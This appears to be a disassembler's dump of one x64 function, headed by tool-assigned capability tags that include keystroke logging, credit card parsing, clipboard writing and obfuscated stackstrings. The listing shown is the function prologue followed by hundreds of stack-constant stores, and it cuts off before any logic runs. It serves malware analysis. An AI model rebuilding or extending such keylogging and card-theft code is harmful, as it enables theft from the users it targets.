Function at 0x140001000
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Encrypt data using chaskey
Get common file path
Get keyboard layout
Log keystrokes
Log keystrokes via polling
Parse credit card information
Parse pe header
Write clipboard data

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1b548
call fcn.14012ea10
sub rsp, rax
movabs rax, 0x727e34c45ce72744
mov qword [rsp + 0x5898], rax
mov dword [rsp + 0x3010], 0x3a53c5c2
mov eax, 0x4a36
mov word [rsp + 0x9d8], ax
mov dword [rsp + 0x3014], 0x44f583fe
mov dword [rsp + 0x3018], 0x3d26961f
mov byte [rsp + 0x40], 0x72
movabs rax, 0xc5a847f6ba7d700
mov qword [rsp + 0x58a0], rax
mov eax, 0x501
mov word [rsp + 0x9dc], ax
mov byte [rsp + 0x41], 0x6b
mov eax, 0x2714
mov word [rsp + 0x9e0], ax
movabs rax, 0x3989ba5ffdd89a0b
mov qword [rsp + 0x58a8], rax
mov byte [rsp + 0x42], 0x2d
mov byte [rsp + 0x43], 0x7c
movabs rax, 0x59a0ded3c1b7bf2a
mov qword [rsp + 0x58b0], rax
mov eax, 0x7bb3
mov word [rsp + 0x9e4], ax
mov eax, 0xada
mov word [rsp + 0x9e8], ax
mov byte [rsp + 0x44], 0x53
mov byte [rsp + 0x45], 0x5b
mov eax, 0x28d
mov word [rsp + 0x9ec], ax
movabs rax, 0xaa46e127d654e103
mov qword [rsp + 0x58b8], rax
mov eax, 0x54c
mov word [rsp + 0x9f0], ax
movabs rax, 0x79c4f32f8c51019e
mov qword [rsp + 0x58c0], rax
movabs rax, 0xceeedd2ec4578f9a
mov qword [rsp + 0x58c8], rax
mov byte [rsp + 0x46], 0x6e
mov byte [rsp + 0x47], 0x74
mov dword [rsp + 0x301c], 0xb9841d2
movabs rax, 0x51061e0e9a70ddac
mov qword [rsp + 0x58d0], rax
mov byte [rsp + 0x48], 0x56
mov eax, 0x1211
mov word [rsp + 0x9f4], ax
mov byte [rsp + 0x49], 0x5f
mov dword [rsp + 0x3020], 0xc2c2daaf
movabs rax, 0x1c44c08aa49c91e4
mov qword [rsp + 0x58d8], rax
movabs rax, 0x262e571097470d6b
mov qword [rsp + 0x58e0], rax
mov byte [rsp + 0x4a], 0x6a
mov byte [rsp + 0x4b], 0x14
movabs rax, 0x5a6f3c4bab146a28
mov qword [rsp + 0x58e8], rax
mov byte [rsp + 0x4c], 0x17
movabs rax, 0xd4026113c1d2e809
mov qword [rsp + 0x58f0], rax
mov dword [rsp + 0x3024], 0x1986600c
mov byte [rsp + 0x4d], 0xe9
mov eax, 0x2399
mov word [rsp + 0x9f8], ax
mov eax, 0xb95
mov word [rsp + 0x9fc], ax
mov eax, 0x1973
mov word [rsp + 0xa00], ax
movabs rax, 0x5effa6032a56c28b
mov qword [rsp + 0x58f8], rax
mov byte [rsp + 0x4e], 0x6e
mov eax, 0x3418
mov word [rsp + 0xa04], ax
mov dword [rsp + 0x3028], 0x46e9f91b
mov dword [rsp + 0x302c], 0x4d1f45a8
mov dword [rsp + 0x3030], 0xb3c5ff0c
mov byte [rsp + 0x4f], 0x4a
mov dword [rsp + 0x3034], 0x665b44d6
mov byte [rsp + 0x50], 0x76
mov dword [rsp + 0x3038], 0xb28ce0ab
mov byte [rsp + 0x51], 0x1c
mov dword [rsp + 0x303c], 0x955529c
mov dword [rsp + 0x3040], 0x3b4bbfd8
mov dword [rsp + 0x3044], 0x1dddee70
mov eax, 0xc3e
mov word [rsp + 0xa08], ax
mov eax, 0x58
mov word [rsp + 0xa0c], ax
mov byte [rsp + 0x52], 0x16
movabs rax, 0x678f8a3cd7158186
mov qword [rsp + 0x5900], rax
mov eax, 0x6f65
mov word [rsp + 0xa10], ax
mov eax, 0x1cab
mov word [rsp + 0xa14], ax
movabs rax, 0xc49c554a9f076b6c
mov qword [rsp + 0x5908], rax
mov eax, 0x708f
mov word [rsp + 0xa18], ax
movabs rax, 0xe861bc281552de79
mov qword [rsp + 0x5910], rax
movabs rax, 0x1097521e56bf6a61
mov qword [rsp + 0x5918], rax
mov eax, 0x1a14
mov word [rsp + 0xa1c], ax
mov dword [rsp + 0x3048], 0x9ed6c49
mov byte [rsp + 0x53], 0x2f
mov byte [rsp + 0x54], 9
mov dword [rsp + 0x304c], 0x2b98fb27
mov byte [rsp + 0x55], 0xa4
mov byte [rsp + 0x56], 0x66
mov byte [rsp + 0x57], 0x49
mov byte [rsp + 0x58], 0xd8
mov eax, 0x3b0
mov word [rsp + 0xa20], ax
mov dword [rsp + 0x3050], 0xc8feb6ee
movabs rax, 0x94e2d36c243a5df2
mov qword [rsp + 0x5920], rax
mov byte [rsp + 0x59], 0x76
mov eax, 0x5d82
mov word [rsp + 0xa24], ax
mov byte [rsp + 0x5a], 4
movabs rax, 0xb2b081ef0a312482
mov qword [rsp + 0x5928], rax
mov eax, 0x189c
mov word [rsp + 0xa28], ax
movabs rax, 0xbf553a63211a6ab5
mov qword [rsp + 0x5930], rax
mov eax, 0x26d3
mov word [rsp + 0xa2c], ax
mov dword [rsp + 0x3054], 0x22810389
mov byte [rsp + 0x5b], 0x36
mov byte [rsp + 0x5c], 0x40
mov dword [rsp + 0x3058], 0xc839a08
mov dword [rsp + 0x305c], 0x675a9d6a
movabs rax, 0xfdb9c805acc7ced7
mov qword [rsp + 0x5938], rax
mov dword [rsp + 0x3060], 0x2ea9976c
mov byte [rsp + 0x5d], 7
mov eax, 0xfd6
mov word [rsp + 0xa30], ax
mov byte [rsp + 0x5e], 0x78
mov eax, 0x1adf
mov word [rsp + 0xa34], ax
mov eax, 0xbe4
mov word [rsp + 0xa38], ax
mov byte [rsp + 0x5f], 0x3c
movabs rax, 0x6f34a8cad676af9d
mov qword [rsp + 0x5940], rax
mov dword [rsp + 0x3064], 0x6273a60d
mov eax, 0x5b8
mov word [rsp + 0xa3c], ax
mov byte [rsp + 0x60], 0x34
movabs rax, 0x72f158a90c39a02e
mov qword [rsp + 0x5948], rax
mov byte [rsp + 0x61], 0x47
mov byte [rsp + 0x62], 0x15
mov dword [rsp + 0x3068], 0xae7c3ba7
movabs rax, 0x67709c52ae124247
mov qword [rsp + 0x5950], rax
mov byte [rsp + 0x63], 0x8e
mov dword [rsp + 0x306c], 0x5b300d8e
mov eax, 0x5be
mov word [rsp + 0xa40], ax
mov eax, 0xe17
mov word [rsp + 0xa44], ax
mov eax, 0x784
mov word [rsp + 0xa48], ax
mov byte [rsp + 0x64], 0x1b
mov dword [rsp + 0x3070], 0x956d41f
mov dword [rsp + 0x3074], 0x1963ee64
mov dword [rsp + 0x3078], 0x1a1f7dcd
mov dword [rsp + 0x307c], 0x677c8cc
mov byte [rsp + 0x65], 0x72
movabs rax, 0xbf53b15fd9d416e5
mov qword [rsp + 0x5958], rax
mov eax, 0x16a
mov word [rsp + 0xa4c], ax
movabs rax, 0xbbaf4942f355ed4c
mov qword [rsp + 0x5960], rax
mov dword [rsp + 0x3080], 0xa57a0d8e
mov dword [rsp + 0x3084], 0x285183cd
mov eax, 0xf43
mov word [rsp + 0xa50], ax
mov eax, 0xe26
mov word [rsp + 0xa54], ax
mov dword [rsp + 0x3088], 0x9c66141
mov dword [rsp + 0x308c], 0x539716f9
mov byte [rsp + 0x66], 0x90
movabs rax, 0x342ce269e82b31d1
mov qword [rsp + 0x5968], rax
mov dword [rsp + 0x3090], 0xf2dd809c
mov eax, 0x17f
mov word [rsp + 0xa58], ax
mov dword [rsp + 0x3094], 0x72b12686
mov byte [rsp + 0x67], 6
mov eax, 0x16c
mov word [rsp + 0xa5c], ax
mov dword [rsp + 0x3098], 0xad5c3279
mov eax, 0x82d
mov word [rsp + 0xa60], ax
movabs rax, 0x20294b07272fb564
mov qword [rsp + 0x5970], rax
mov eax, 0x353
mov word [rsp + 0xa64], ax
mov eax, 0x367
mov word [rsp + 0xa68], ax
mov byte [rsp + 0x68], 0x6b
mov eax, 0xc3e
mov word [rsp + 0xa6c], ax
mov byte [rsp + 0x69], 0xd4
mov eax, 0x36b
mov word [rsp + 0xa70], ax
mov byte [rsp + 0x6a], 0x2e
mov byte [rsp + 0x6b], 0x39
mov eax, 0x55a
mov word [rsp + 0xa74], ax
movabs rax, 0x95603dcc0307972
mov qword [rsp + 0x5978], rax
mov dword [rsp + 0x309c], 0x42487bec
mov eax, 0xe35
mov word [rsp + 0xa78], ax
mov byte [rsp + 0x6c], pe_nt_image_headers64
mov eax, 0x42a7
mov word [rsp + 0xa7c], ax
mov dword [rsp + 0x30a0], 0xc6efe8b
mov eax, 0xfdb
mov word [rsp + 0xa80], ax
mov byte [rsp + 0x6d], 0x75
mov dword [rsp + 0x30a4], 0x12e02c59
movabs rax, 0xec429c4844c57e4
mov qword [rsp + 0x5980], rax
movabs rax, 0xa7e0e9cb31f4fc98
mov qword [rsp + 0x5988], rax
mov dword [rsp + 0x30a8], 0xad72c177
movabs rax, 0x1fb1944e717429cf
mov qword [rsp + 0x5990], rax
mov dword [rsp + 0x30ac], 0x98dccb31
mov eax, 0x4de
mov word [rsp + 0xa84], ax
mov byte [rsp + 0x6e], 0xf
mov byte [rsp + 0x6f], 0x61
mov dword [rsp + 0x30b0], 0x3223824f
mov eax, 0x7ade
mov word [rsp + 0xa88], ax
movabs rax, 0x3d056226f3a626db
mov qword [rsp + 0x5998], rax
mov byte [rsp + 0x70], 0x50
movabs rax, 0x28e4f94e2e0c4dfb
mov qword [rsp + 0x59a0], rax
mov byte [rsp + 0x71], 0xc9
mov eax, 0x6d8
mov word [rsp + 0xa8c], ax
mov byte [rsp + 0x72], 0x5f
movabs rax, 0x91ec0d3ab13401b9
mov qword [rsp + 0x59a8], rax
mov eax, 0x7316
mov word [rsp + 0xa90], ax
mov byte [rsp + 0x73], 0x50
mov eax, 0x7ab
mov word [rsp + 0xa94], ax
mov dword [rsp + 0x30b4], 0x7c7f6d14
movabs rax, 0x6d3ab0294697c8e9
mov qword [rsp + 0x59b0], rax
mov dword [rsp + 0x30b8], 0x60aef864
mov byte [rsp + 0x74], 0x41
movabs rax, 0x3959030ce91ac5e8
mov qword [rsp + 0x59b8], rax
mov dword [rsp + 0x30bc], 0x8338259e
mov dword [rsp + 0x30c0], 0xe0fc7f34
mov dword [rsp + 0x30c4], 0xc148f5d3
mov byte [rsp + 0x75], 0x58
mov eax, 0xc7
mov word [rsp + 0xa98], ax
movabs rax, 0x8895ac32a45dcef
mov qword [rsp + 0x59c0], rax
mov eax, 0x6e
mov word [rsp + 0xa9c], ax
movabs rax, 0x72ddf0c07f06bdba
mov qword [rsp + 0x59c8], rax
mov eax, 0x150f
mov word [rsp + 0xaa0], ax
mov dword [rsp + 0x30c8], 0x3c4925f4
movabs rax, 0x76d38a1a3ff259ee
mov qword [rsp + 0x59d0], rax
mov eax, 0x108c
mov word [rsp + 0xaa4], ax
mov dword [rsp + 0x30cc], 0x448ffef3
mov dword [rsp + 0x30d0], 0x5d1ff594
movabs rax, 0xda655713e2e90a94
mov qword [rsp + 0x59d8], rax
mov byte [rsp + 0x76], 0x7a
mov dword [rsp + 0x30d4], 0x4f2a1894
mov byte [rsp + 0x77], 0x21
mov eax, 0x818
mov word [rsp + 0xaa8], ax
mov eax, 0xa17
mov word [rsp + 0xaac], ax
mov byte [rsp + 0x78], 0x57
mov eax, 0x163c
mov word [rsp + 0xab0], ax
mov dword [rsp + 0x30d8], 0xfdf31a5
mov dword [rsp + 0x30dc], 0x1da65037
mov dword [rsp + 0x30e0], 0xd0d6d6ba
mov dword [rsp + 0x30e4], 0x1efcb4a5
mov eax, 0x151a
mov word [rsp + 0xab4], ax
mov eax, 0x955
mov word [rsp + 0xab8], ax
mov byte [rsp + 0x79], 0x57
mov eax, 0x13e9
mov word [rsp + 0xabc], ax
mov eax, 0x4d
mov word [rsp + 0xac0], ax
mov dword [rsp + 0x30e8], 0x2da64f66
mov dword [rsp + 0x30ec], 0x7318a8da
mov byte [rsp + 0x7a], 0x75
mov eax, 0xd5b
mov word [rsp + 0xac4], ax
movabs rax, 0x46c8e91c24bf3bd1
mov qword [rsp + 0x59e0], rax
mov byte [rsp + 0x7b], 0x1a
movabs rax, 0x263bf22a852c2931
mov qword [rsp + 0x59e8], rax
mov byte [rsp + 0x7c], 0xfe
mov eax, 0x347d
mov word [rsp + 0xac8], ax
mov byte [rsp + 0x7d], 0x37
mov eax, 0xf01
mov word [rsp + 0xacc], ax
mov dword [rsp + 0x30f0], 0x21d1e942
mov byte [rsp + 0x7e], 0x1d
mov byte [rsp + 0x7f], 0x87
mov eax, 0x5e4a
mov word [rsp + 0xad0], ax
mov eax, 0x1b6
mov word [rsp + 0xad4], ax
mov byte [rsp + 0x80], 0x4d
movabs rax, 0x44fa1540c4b57df5
mov qword [rsp + 0x59f0], rax
mov eax, 0x277
mov word [rsp + 0xad8], ax
mov byte [rsp + 0x81], 0x69
mov dword [rsp + 0x30f4], 0x9d7ac1a2
mov eax, 0x745
mov word [rsp + 0xadc], ax
mov dword [rsp + 0x30f8], 0x18b13f88
mov eax, 0xe1a
mov word [rsp + 0xae0], ax
mov eax, 0xca1
mov word [rsp + 0xae4], ax
mov dword [rsp + 0x30fc], 0x621c3325
mov dword [rsp + 0x3100], 0x2c3bbb90
movabs rax, 0x91174b75c5d04d62
mov qword [rsp + 0x59f8], rax
movabs rax, 0x45682031b1cbfda9
mov qword [rsp + 0x5a00], rax
mov byte [rsp + 0x82], 0xd9
mov byte [rsp + 0x83], 0x49
movabs rax, 0xc4d831886acaeb63
mov qword [rsp + 0x5a08], rax
mov eax, 0xe16
mov word [rsp + 0xae8], ax
movabs rax, 0x734da92c4a035d90
mov qword [rsp + 0x5a10], rax
mov byte [rsp + 0x84], 0x66
mov eax, 0x6d8
mov word [rsp + 0xaec], ax
movabs rax, 0x51b0fc4f1c8fcc7f
mov qword [rsp + 0x5a18], rax
movabs rax, 0x1e380580b9a533ae
mov qword [rsp + 0x5a20], rax
mov eax, 0x378
mov word [rsp + 0xaf0], ax
mov eax, 0x467
mov word [rsp + 0xaf4], ax
mov byte [rsp + 0x85], 0x61
mov eax, 0x1e13
mov word [rsp + 0xaf8], ax
mov eax, 0x390c
mov word [rsp + 0xafc], ax
mov byte [rsp + 0x86], 0x5b
mov byte [rsp + 0x87], 0x1c
mov eax, 0x3b52
mov word [rsp + 0xb00], ax
mov dword [rsp + 0x3104], 0x3b18ef4b
mov eax, 0x5889
mov word [rsp + 0xb04], ax
mov byte [rsp + 0x88], 0x2f
mov eax, 0x752
mov word [rsp + 0xb08], ax
mov eax, 0xd47
mov word [rsp + 0xb0c], ax
mov dword [rsp + 0x3108], 0x6ca2f4dd
mov byte [rsp + 0x89], 0x30
mov dword [rsp + 0x310c], 0x44f8d48a
mov eax, 0x742
mov word [rsp + 0xb10], ax
mov eax, 0x669
mov word [rsp + 0xb14], ax
mov byte [rsp + 0x8a], 6
mov dword [rsp + 0x3110], 0xdb87801a
mov byte [rsp + 0x8b], 0x56
mov eax, 0x1637
mov word [rsp + 0xb18], ax
mov dword [rsp + 0x3114], 0x4b51d6e9
mov byte [rsp + 0x8c], 0x7d
mov byte [rsp + 0x8d], 0x3f
mov dword [rsp + 0x3118], 0x76a9749b
mov dword [rsp + 0x311c], 0x31e776a4
mov byte [rsp + 0x8e], 0x48
movabs rax, 0x728fbdd6aaa9bd21
mov qword [rsp + 0x5a28], rax
mov byte [rsp + 0x8f], 4
movabs rax, 0x2827bfb4e5440a6e
mov qword [rsp + 0x5a30], rax
mov dword [rsp + 0x3120], 0x243254a0
movabs rax, 0x850fd6b7d393642f
mov qword [rsp + 0x5a38], rax
mov byte [rsp + 0x90], 0x43
mov byte [rsp + 0x91], 0x13
mov byte [rsp + 0x92], 0x24
mov eax, 0x300f
mov word [rsp + 0xb1c], ax
movabs rax, 0x1221f4255e463777
mov qword [rsp + 0x5a40], rax
mov eax, 0x588d
mov word [rsp + 0xb20], ax
mov eax, 0x2bbf
mov word [rsp + 0xb24], ax
movabs rax, 0x215fc79533eaf074
mov qword [rsp + 0x5a48], rax
mov eax, 0x87c
mov word [rsp + 0xb28], ax
mov dword [rsp + 0x3124], 0x83f843d3
mov byte [rsp + 0x93], 0x4f
mov eax, 0x1c50
mov word [rsp + 0xb2c], ax
mov dword [rsp + 0x3128], 0x2f6ae8
mov dword [rsp + 0x312c], 0x1c949bce
mov dword [rsp + 0x3130], 0x308b4059
mov eax, 0x9dc
mov word [rsp + 0xb30], ax
movabs rax, 0xcef4b666753c2557
mov qword [rsp + 0x5a50], rax
mov eax, 0x357
mov word [rsp + 0xb34], ax
mov byte [rsp + 0x94], 0x91
mov byte [rsp + 0x95], 0x52
mov byte [rsp + 0x96], 2
mov dword [rsp + 0x3134], 0x3e6946a7
mov byte [rsp + 0x97], 0x61
mov dword [rsp + 0x3138], 0xf15ce08
movabs rax, 0x72295f68be4a2232
mov qword [rsp + 0x5a58], rax
mov eax, 0x5ff
mov word [rsp + 0xb38], ax
movabs rax, 0x6b7fe891e01b609b
mov qword [rsp + 0x5a60], rax
mov eax, 0x4fc
mov word [rsp + 0xb3c], ax
mov byte [rsp + 0x98], 0x65
mov byte [rsp + 0x99], 0x50
mov dword [rsp + 0x313c], 0x5bdcb004
mov eax, 0x844
mov word [rsp + 0xb40], ax
movabs rax, 0x7c924848710879dd
mov qword [rsp + 0x5a68], rax
mov eax, 0x4061
mov word [rsp + 0xb44], ax
mov eax, 0xc91
mov word [rsp + 0xb48], ax
mov byte [rsp + 0x9a], 0xc8
mov dword [rsp + 0x3140], 0xf67015cb
mov eax, 0xca2
mov word [rsp + 0xb4c], ax
mov byte [rsp + 0x9b], 0x34
movabs rax, 0x4d4d993703a0c6e6
mov qword [rsp + 0x5a70], rax
mov dword [rsp + 0x3144], 0x27eb967a
mov eax, 0xb69
mov word [rsp + 0xb50], ax
mov eax, 0x46e7
mov word [rsp + 0xb54], ax
mov byte [rsp + 0x9c], 2
mov dword [rsp + 0x3148], 0xf2087fd5
mov byte [rsp + 0x9d], 0x68
mov eax, 0x3d3b
mov word [rsp + 0xb58], ax
mov eax, 0x418
mov word [rsp + 0xb5c], ax
mov eax, 0x4c5
mov word [rsp + 0xb60], ax
mov eax, 0x6587
mov word [rsp + 0xb64], ax
mov byte [rsp + 0x9e], 0xee
movabs rax, 0x197af11437b76071
mov qword [rsp + 0x5a78], rax
mov byte [rsp + 0x9f], 0x65
movabs rax, 0x1d2eb78161bd67ad
mov qword [rsp + 0x5a80], rax
mov eax, 0xe86
mov word [rsp + 0xb68], ax
mov dword [rsp + 0x314c], 0x5960f58e
movabs rax, 0x49996e2db0de1fc5
mov qword [rsp + 0x5a88], rax
mov eax, 0x7587
mov word [rsp + 0xb6c], ax
mov dword [rsp + 0x3150], 0x21ef878d
mov dword [rsp + 0x3154], 0x6bdb40a6
movabs rax, 0x966706b4e130422c
mov qword [rsp + 0x5a90], rax
mov byte [rsp + 0xa0], 0x6c
mov eax, 4
mov word [rsp + 0xb70], ax
mov dword [rsp + 0x3158], 0x6d2fcac1
mov dword [rsp + 0x315c], 0x7b2223aa
mov dword [rsp + 0x3160], 0xbb3ddb70
mov dword [rsp + 0x3164], 0xfb399ac7
mov dword [rsp + 0x3168], 0x759575da
mov eax, 0x486b
mov word [rsp + 0xb74], ax
movabs rax, 0xd293ec61fec3c1c0
mov qword [rsp + 0x5a98], rax
mov byte [rsp + 0xa1], 0x28
movabs rax, 0x443ad5937cecf020
mov qword [rsp + 0x5aa0], rax
movabs rax, 0xd0b25463bea7f086
mov qword [rsp + 0x5aa8], rax
mov eax, 0x15
mov word [rsp + 0xb78], ax
mov byte [rsp + 0xa2], 0x66
mov byte [rsp + 0xa3], 0x26
mov dword [rsp + 0x316c], 0xd8693495
mov dword [rsp + 0x3170], 0x13c3e52b
mov eax, 0x7234
mov word [rsp + 0xb7c], ax
mov byte [rsp + 0xa4], 0x3c
mov dword [rsp + 0x3174], 0xa5edb406
movabs rax, 0xd4d622e4a97c1a64
mov qword [rsp + 0x5ab0], rax
mov byte [rsp + 0xa5], 0x68
mov dword [rsp + 0x3178], 0xa3f96c94
movabs rax, 0x2603bbedd395b8a5
mov qword [rsp + 0x5ab8], rax
mov dword [rsp + 0x317c], 0x40993a25
mov byte [rsp + 0xa6], 0x55
movabs rax, 0x7ae6399531f08f8a
mov qword [rsp + 0x5ac0], rax
mov dword [rsp + 0x3180], 0xbb51e7ce
mov eax, 0x5c57
mov word [rsp + 0xb80], ax
mov byte [rsp + 0xa7], 0x53
mov byte [rsp + 0xa8], 0x37
mov dword [rsp + 0x3184], 0x7015dcd6
mov eax, 0xce6
mov word [rsp + 0xb84], ax
mov eax, 0x1e01
mov word [rsp + 0xb88], ax
mov eax, 0x74e2
mov word [rsp + 0xb8c], ax
mov eax, 0x6ac1
mov word [rsp + 0xb90], ax
mov dword [rsp + 0x3188], 0xcce6b9b9
movabs rax, 0x783e151f614148cf
mov qword [rsp + 0x5ac8], rax
mov dword [rsp + 0x318c], 0x34508a40
mov dword [rsp + 0x3190], 0xde1d0658
mov byte [rsp + 0xa9], 0x29
movabs rax, 0xb9bff59de3371809
mov qword [rsp + 0x5ad0], rax
movabs rax, 0x1a6ff5dcfe15f95e
mov qword [rsp + 0x5ad8], rax
mov eax, 0xd61
mov word [rsp + 0xb94], ax
movabs rax, 0x5b244a2ad8fd78ff
mov qword [rsp + 0x5ae0], rax
mov eax, 0x338a
mov word [rsp + 0xb98], ax
mov dword [rsp + 0x3194], 0x136e056c
movabs rax, 0x342aa3f96e21a10b
mov qword [rsp + 0x5ae8], rax
mov dword [rsp + 0x3198], 0x36732482
movabs rax, 0x521d35ae0f745815
mov qword [rsp + 0x5af0], rax
mov dword [rsp + 0x319c], 0xdb9b230
mov eax, 0x187b
mov word [rsp + 0xb9c], ax
movabs rax, 0x35f6e29471d3b68e
mov qword [rsp + 0x5af8], rax
movabs rax, 0x32ba8e28f364f718
mov qword [rsp + 0x5b00], rax
movabs rax, 0xbbf0d9fffbd6f1a5
mov qword [rsp + 0x5b08], rax
mov eax, 0x86
mov word [rsp + 0xba0], ax
mov dword [rsp + 0x31a0], 0xb1fc74a0
mov eax, 0x53
mov word [rsp + 0xba4], ax
mov dword [rsp + 0x31a4], 0x42dba798
mov byte [rsp + 0xaa], 0x70
mov byte [rsp + 0xab], 0x6e
mov byte [rsp + 0xac], 0x25
mov byte [rsp + 0xad], 0xe8
movabs rax, 0x1b0c2c13680991e3
mov qword [rsp + 0x5b10], rax
movabs rax, 0xace74049c3cea43e
mov qword [rsp + 0x5b18], rax
movabs rax, 0x10ff46e42a47e4c3
mov qword [rsp + 0x5b20], rax
movabs rax, 0x3f32378957d45416
mov qword [rsp + 0x5b28], rax
mov eax, 0x94a
mov word [rsp + 0xba8], ax
mov byte [rsp + 0xae], 0x3e
mov byte [rsp + 0xaf], 0x62
mov eax, 0x126a
mov word [rsp + 0xbac], ax
mov eax, 0xc82
mov word [rsp + 0xbb0], ax
mov byte [rsp + 0xb0], 0x7f
movabs rax, 0x69e0438ddfa58092
mov qword [rsp + 0x5b30], rax
mov byte [rsp + 0xb1], 0x18
movabs rax, 0x66338d002f61de71
mov qword [rsp + 0x5b38], rax
mov eax, 0x22b
mov word [rsp + 0xbb4], ax
mov byte [rsp + 0xb2], 0x3e
mov byte [rsp + 0xb3], 0x4c
mov byte [rsp + 0xb4], 0x59
mov byte [rsp + 0xb5], 0x87
mov eax, 0xe3b
mov word [rsp + 0xbb8], ax
movabs rax, 0x633291fbd9892c1
mov qword [rsp + 0x5b40], rax
mov dword [rsp + 0x31a8], 0x2fbd836
mov eax, 0x56a5
mov word [rsp + 0xbbc], ax
movabs rax, 0x55140dd0c3b4d333
mov qword [rsp + 0x5b48], rax
mov dword [rsp + 0x31ac], 0xd2702214
mov eax, 0xe01
mov word [rsp + 0xbc0], ax
mov byte [rsp + 0xb6], 0x6a
movabs rax, 0x9760aa2589135c15
mov qword [rsp + 0x5b50], rax
mov eax, 0x2ae3
mov word [rsp + 0xbc4], ax
mov dword [rsp + 0x31b0], 0x351d0e1f
mov eax, 0x2ce
mov word [rsp + 0xbc8], ax
mov byte [rsp + 0xb7], 0xad
mov eax, 0xd7e
mov word [rsp + 0xbcc], ax
movabs rax, 0xf8ca25481df703b7
mov qword [rsp + 0x5b58], rax
movabs rax, 0x1f984ee3e4cbc00c
mov qword [rsp + 0x5b60], rax
mov eax, 0x47b0
mov word [rsp + 0xbd0], ax
mov byte [rsp + 0xb8], 0x54
mov eax, 0x4f87
mov word [rsp + 0xbd4], ax
movabs rax, 0xf14857790dce7f96
mov qword [rsp + 0x5b68], rax
mov dword [rsp + 0x31b4], 0x2c4b373d
mov dword [rsp + 0x31b8], 0x1dd9fdad
movabs rax, 0x929826139520d9ee
mov qword [rsp + 0x5b70], rax
movabs rax, 0xcbe4d87760c4a7d9
mov qword [rsp + 0x5b78], rax
mov dword [rsp + 0x31bc], 0x4ad765f7
mov dword [rsp + 0x31c0], 0x9a08ebdf
mov eax, 0xefc
mov word [rsp + 0xbd8], ax
movabs rax, 0xd3e2abff5a7efb90
mov qword [rsp + 0x5b80], rax
mov byte [rsp + 0xb9], 7
mov eax, 0x5e1
mov word [rsp + 0xbdc], ax
mov dword [rsp + 0x31c4], 0x5c3b6722
movabs rax, 0xdf6c4b4fe2f4b584
mov qword [rsp + 0x5b88], rax
mov eax, 0x6590
mov word [rsp + 0xbe0], ax
mov dword [rsp + 0x31c8], 0x90a7154
movabs rax, 0x611e79a6bc0f2f34
mov qword [rsp + 0x5b90], rax
mov dword [rsp + 0x31cc], 0x3697448f
mov dword [rsp + 0x31d0], 0x5fa422cb
movabs rax, 0x25a3d1c89b02d854
mov qword [rsp + 0x5b98], rax
movabs rax, 0xb012b40923f5b517
mov qword [rsp + 0x5ba0], rax
mov byte [rsp + 0xba], 0x47
mov eax, 0x30c
mov word [rsp + 0xbe4], ax
mov byte [rsp + 0xbb], 0x73
movabs rax, 0x529578f131fff525
mov qword [rsp + 0x5ba8], rax
mov dword [rsp + 0x31d4], 0x298a3e37
mov dword [rsp + 0x31d8], 0x7fe66909
movabs rax, 0x58534590e6304573
mov qword [rsp + 0x5bb0], rax
mov dword [rsp + 0x31dc], 0xcff94dd1
mov byte [rsp + 0xbc], 9
mov dword [rsp + 0x31e0], 0xb605f532
mov byte [rsp + 0xbd], 0xa4
mov dword [rsp + 0x31e4], 0xf3f0b5ae
mov eax, 0x88f
mov word [rsp + 0xbe8], ax
mov byte [rsp + 0xbe], 0x5a
mov byte [rsp + 0xbf], 0x4e
mov dword [rsp + 0x31e8], 0x720e05af
mov byte [rsp + 0xc0], 0x69
movabs rax, 0xb5d49947886018f0
mov qword [rsp + 0x5bb8], rax
mov byte [rsp + 0xc1], 0xd2
mov byte [rsp + 0xc2], 0x36
movabs rax, 0x1eb768c4a3628dda
mov qword [rsp + 0x5bc0], rax
mov byte [rsp + 0xc3], 0x38
mov eax, 0x288
mov word [rsp + 0xbec], ax
mov byte [rsp + 0xc4], 0x23
mov byte [rsp + 0xc5], 0x4d
mov byte [rsp + 0xc6], 8
movabs rax, 0x9edc70ab1f990cca
mov qword [rsp + 0x5bc8], rax
mov dword [rsp + 0x31ec], 0x8df998fc
movabs rax, 0x702432505b58719b
mov qword [rsp + 0x5bd0], rax
movabs rax, 0xc0cbc8322523a07f
mov qword [rsp + 0x5bd8], rax
movabs rax, 0x604ca6905b16c0b5
mov qword [rsp + 0x5be0], rax
mov eax, 0xc1c
mov word [rsp + 0xbf0], ax
mov dword [rsp + 0x31f0], 0x34faaa0c
mov byte [rsp + 0xc7], 0x52
mov byte [rsp + 0xc8], 0x48
mov dword [rsp + 0x31f4], 0x3c953b69
mov dword [rsp + 0x31f8], 0x74bbb0b5
mov eax, 0x209d
mov word [rsp + 0xbf4], ax
mov dword [rsp + 0x31fc], 0x61b0ef78
mov eax, 0x79b
mov word [rsp + 0xbf8], ax
movabs rax, 0x9af002443b0c157
mov qword [rsp + 0x5be8], rax
mov eax, 0x6f42
mov word [rsp + 0xbfc], ax
mov eax, 0x77e
mov word [rsp + 0xc00], ax
mov dword [rsp + 0x3200], 0x4c3cb557
mov byte [rsp + 0xc9], 0x4e
mov eax, 0x66e
mov word [rsp + 0xc04], ax
mov eax, 0xf8f
mov word [rsp + 0xc08], ax
mov dword [rsp + 0x3204], 0x8c82d672
mov byte [rsp + 0xca], 0x7c
mov dword [rsp + 0x3208], 0x2ee4d952
movabs rax, 0x26d1afff9affb2a4
mov qword [rsp + 0x5bf0], rax
mov byte [rsp + 0xcb], 0x3a
movabs rax, 0x32e844b00de71b81
mov qword [rsp + 0x5bf8], rax
mov dword [rsp + 0x320c], 0xf48555
movabs rax, 0x2a306bdbd4b38569
mov qword [rsp + 0x5c00], rax
mov byte [rsp + 0xcc], 0x39
mov eax, 0x3f90
mov word [rsp + 0xc0c], ax
movabs rax, 0x855ebad91a15608b
mov qword [rsp + 0x5c08], rax
mov byte [rsp + 0xcd], 0xb7
mov byte [rsp + 0xce], pe_nt_image_headers64
movabs rax, 0xa9fd26561996a1f6
mov qword [rsp + 0x5c10], rax
mov eax, 0x2311
mov word [rsp + 0xc10], ax
mov dword [rsp + 0x3210], 0x6354235b
mov eax, 0x7a6
mov word [rsp + 0xc14], ax
mov eax, 0x68a
mov word [rsp + 0xc18], ax
mov dword [rsp + 0x3214], 0xe0d8ffb5
mov dword [rsp + 0x3218], 0xf7cef29a
mov byte [rsp + 0xcf], 0x8e
mov dword [rsp + 0x321c], 0xf0ada88
mov dword [rsp + 0x3220], 0x4aaaa8a4
mov eax, 0x884
mov word [rsp + 0xc1c], ax
